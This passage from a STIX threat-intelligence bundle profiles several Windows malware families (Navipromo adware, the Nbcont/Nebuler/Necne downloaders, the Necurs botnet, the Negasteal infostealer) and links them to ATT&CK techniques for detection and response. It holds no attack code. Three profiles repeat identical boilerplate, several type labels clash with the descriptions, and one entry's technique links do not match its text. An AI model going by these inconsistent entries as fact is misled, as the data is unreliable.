      "description": "Adware:Win32/Navipromo is an intrusive Potentially Unwanted Program (PUP) designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Navipromo</b><br>To an end-user, Navipromo manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Navipromo is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Navipromo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/navipromo"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01a3e052-5f44-5163-9c5c-8c51cbcf014c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--776a62c8-2835-53eb-b554-95fce125a283",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Navipromo exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53ff2326-8891-5ca0-b8d1-2f9d22d160c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--776a62c8-2835-53eb-b554-95fce125a283",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Navipromo exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3e076b0-275e-5831-9019-523e7b0a189a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--776a62c8-2835-53eb-b554-95fce125a283",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Navipromo exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df42f77f-15aa-5eb5-b60f-e3dbbd42bce8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--776a62c8-2835-53eb-b554-95fce125a283",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Navipromo exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--75fe546b-4d29-5b09-ab73-2c0fd7208dae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nbcont",
      "description": "Trojan:Win32/Nbcont is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Nbcont</b><br>To an end-user, a Nbcont infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Nbcont is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Nbcont is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Nbcont frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Nbcont reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nbcont",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nbcont"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c59201f-4cbb-57cc-a112-50029a672311",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75fe546b-4d29-5b09-ab73-2c0fd7208dae",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nbcont exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--415bf9fa-ba6e-5e1f-9583-6127335568a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75fe546b-4d29-5b09-ab73-2c0fd7208dae",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nbcont exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3977476a-c867-5fcf-850f-03b850a30512",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75fe546b-4d29-5b09-ab73-2c0fd7208dae",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nbcont exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d563b71e-ae04-59a7-8904-6325c8e1581a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75fe546b-4d29-5b09-ab73-2c0fd7208dae",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nbcont exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7485e21-97be-501c-b884-c405100766b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75fe546b-4d29-5b09-ab73-2c0fd7208dae",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nbcont exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a574af93-e3c3-5321-aad6-8db57866f5e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nebuler",
      "description": "Trojan:Win32/Nebuler is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Nebuler</b><br>To an end-user, a Nebuler infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Nebuler is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Nebuler is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Nebuler frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Nebuler reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nebuler",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nebuler"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4117c2c4-57d3-5c54-a38e-557346064782",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a574af93-e3c3-5321-aad6-8db57866f5e2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nebuler exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f905e31-968d-5e8b-9620-be0413794859",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a574af93-e3c3-5321-aad6-8db57866f5e2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nebuler exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b90128dd-c445-5a88-b274-e7b981eb06f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a574af93-e3c3-5321-aad6-8db57866f5e2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nebuler exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfc66acc-58d0-5216-8c26-81027f75fed5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a574af93-e3c3-5321-aad6-8db57866f5e2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nebuler exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f994a08-bed8-530f-9965-35fc97c0ea03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a574af93-e3c3-5321-aad6-8db57866f5e2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nebuler exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c211fa14-6a47-559c-b8fd-6c75146678b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Necne",
      "description": "Trojan:Win32/Necne is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Necne</b><br>To an end-user, a Necne infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Necne is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Necne is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Necne frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Necne reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Necne",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/necne"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6333b606-bf7f-593b-8662-724da408c5cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c211fa14-6a47-559c-b8fd-6c75146678b5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Necne exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--442f86e0-3cf2-534f-b869-c7d0eda5e06c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c211fa14-6a47-559c-b8fd-6c75146678b5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Necne exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c3be999-5084-5173-8e7c-ad91f73673f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c211fa14-6a47-559c-b8fd-6c75146678b5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Necne exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d00e16b1-e93e-5e11-8097-ad5857a79879",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c211fa14-6a47-559c-b8fd-6c75146678b5",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Necne exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--628af8dd-aff2-544d-81ff-6f306d7fab4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c211fa14-6a47-559c-b8fd-6c75146678b5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Necne exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--17b8184b-6f90-5a19-9672-81008fdf0631",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Necurs",
      "description": "Botnet:Win32/Necurs was one of the largest, most pervasive botnet infrastructures in cybercrime history, comprising over 9 million compromised computers across 35 countries at its peak operational strength. Discovered in 2012, Necurs functioned as a premier crimeware distribution-as-a-service engine, historically responsible for disseminating world-threatening ransomware and banking malware campaigns including Locky, Dridex, TrickBot, and massive pump-and-dump financial spam runs. Necurs executed via a deeply embedded, digitally signed 32-bit and 64-bit kernel-mode rootkit driver that actively neutralized host security software, subverting Windows Filtering Platform (WFP) hooks, intercepting antivirus syscalls, and disabling security telemetry agents. Its command-and-control network was architected with supreme resilience, employing peer-to-peer (P2P) mesh protocols combined with a high-entropy Domain Generation Algorithm (DGA) that generated up to 2,048 pseudo-random domains every four days across dozens of top-level domains. In March 2020, Microsoft's Digital Crimes Unit (DCU), partnered with international law enforcement and ISPs across 35 nations, executed a landmark coordinated civil takedown (Operation Necurs), legally seizing control of over 6 million anticipated algorithmically generated domains and severing the botnet's command infrastructure. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "bot"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Necurs",
        "Win32/Necurs",
        "Rootkit.Necurs",
        "Trojan.Necurs"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Necurs",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/necurs"
        }
      ],
      "labels": [
        "spam_bot",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ef6da5e-d7f4-52a2-8048-5eb64b40dfac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17b8184b-6f90-5a19-9672-81008fdf0631",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Necurs exhibits technique T1014 (Rootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--778c9304-0f49-5c30-983f-a4feb52a3882",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17b8184b-6f90-5a19-9672-81008fdf0631",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Necurs exhibits technique T1566.001 (Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d39637d-9167-5f33-92dc-b9f3cf25f585",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17b8184b-6f90-5a19-9672-81008fdf0631",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Necurs exhibits technique T1568.002 (Domain Generation Algorithms)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc07c62d-91bb-5446-b649-9d22e49412eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17b8184b-6f90-5a19-9672-81008fdf0631",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Necurs exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25866b7e-9661-5c62-a8a9-d7608b4d677a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17b8184b-6f90-5a19-9672-81008fdf0631",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Necurs exhibits technique T1562.001 (Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e3e7bac8-8cc7-5133-bd7b-3d530af7c927",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17b8184b-6f90-5a19-9672-81008fdf0631",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Necurs exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1d20e871-279b-597f-9972-a59705b88160",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Negasteal",
      "description": "<h3>Executive Summary</h3>\nNegaSteal is a sophisticated Information Stealer (InfoStealer) and credential harvesting trojan. Often sold as Malware-as-a-Service (MaaS) on dark web forums, it is designed to silently extract a massive variety of sensitive data from infected Windows endpoints, including saved passwords, session cookies, cryptocurrency wallets, and VPN configurations.\n\n<h3>Infection Vector and Extraction Methodology</h3>\nNegaSteal is heavily distributed via mass malspam campaigns. The phishing emails frequently utilize socially engineered lures (fake invoices, POs, or shipping manifests) containing malicious attachments\u2014such as weaponized Excel documents, ISO images, or deeply obfuscated VBS/JavaScript droppers.\n\nUpon execution, NegaSteal performs rapid, automated data extraction:\n<ul>\n<li><strong>Comprehensive Credential Theft:</strong> It systematically queries the internal databases of over 50 different applications, extracting stored passwords from major web browsers (Chrome, Firefox, Edge, Brave), FTP clients (FileZilla), email clients (Outlook), and instant messaging programs.</li>\n<li><strong>Cryptocurrency Targeting:</strong> NegaSteal actively searches the file system for wallet files (`wallet.dat`) and browser extensions associated with popular cryptocurrencies (Bitcoin, Ethereum).</li>\n<li><strong>Data Exfiltration:</strong> The stolen intelligence is aggregated into an encrypted archive (often a ZIP file) and covertly transmitted to the attacker's command-and-control (C2) server via HTTP POST requests, FTP, or even Telegram bots.</li>\n</ul>\n\n<h3>Security and Privacy Implications</h3>\nA NegaSteal infection is a critical security breach resulting in the immediate compromise of both corporate and personal credentials. This stolen intelligence is frequently used immediately by the attackers to pivot laterally into corporate networks (via VPN or RDP) or sold on dark web marketplaces to Initial Access Brokers (IABs).\n\n<h3>Incident Response and Mitigation</h3>\n<ul>\n<li><strong>Credential Invalidation:</strong> Immediate, organization-wide password resets are mandatory following a confirmed NegaSteal infection. All active session tokens and VPN access keys must be forcibly revoked.</li>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Deploy EDR solutions configured to alert on processes attempting unauthorized, bulk access to browser profile directories (`%LocalAppData%\\Google\\Chrome\\User Data`) and the `CryptUnprotectData` API.</li>\n<li><strong>Email Security:</strong> Implement strict email filtering and sandboxing to block malicious attachments before they reach the end-user, disrupting the primary NegaSteal distribution vector.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.NegaSteal",
        "PasswordStealer.Nega",
        "Win32/NegaSteal"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Negasteal",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/negasteal"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ab004a9-9cef-5a7a-ba3d-1a1df260d4b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d20e871-279b-597f-9972-a59705b88160",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Negasteal exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c918d89-a09d-533f-8d96-6affe6105ada",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d20e871-279b-597f-9972-a59705b88160",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Negasteal exhibits technique T1003 (OS Credential Dumping (Built-in Mimikatz integration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f403d3d7-bcfe-58d0-9b8c-cf91792cbeb1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d20e871-279b-597f-9972-a59705b88160",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Negasteal exhibits technique T1048.003 (Exfiltration Over Alternative Protocol (Exfiltration via SMTP/Email))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0729191-3317-52ac-aa7a-8c8ea02186dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d20e871-279b-597f-9972-a59705b88160",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Negasteal exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--467069aa-4f8c-504d-a8b4-481ba4bc7ab7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Neksminer",
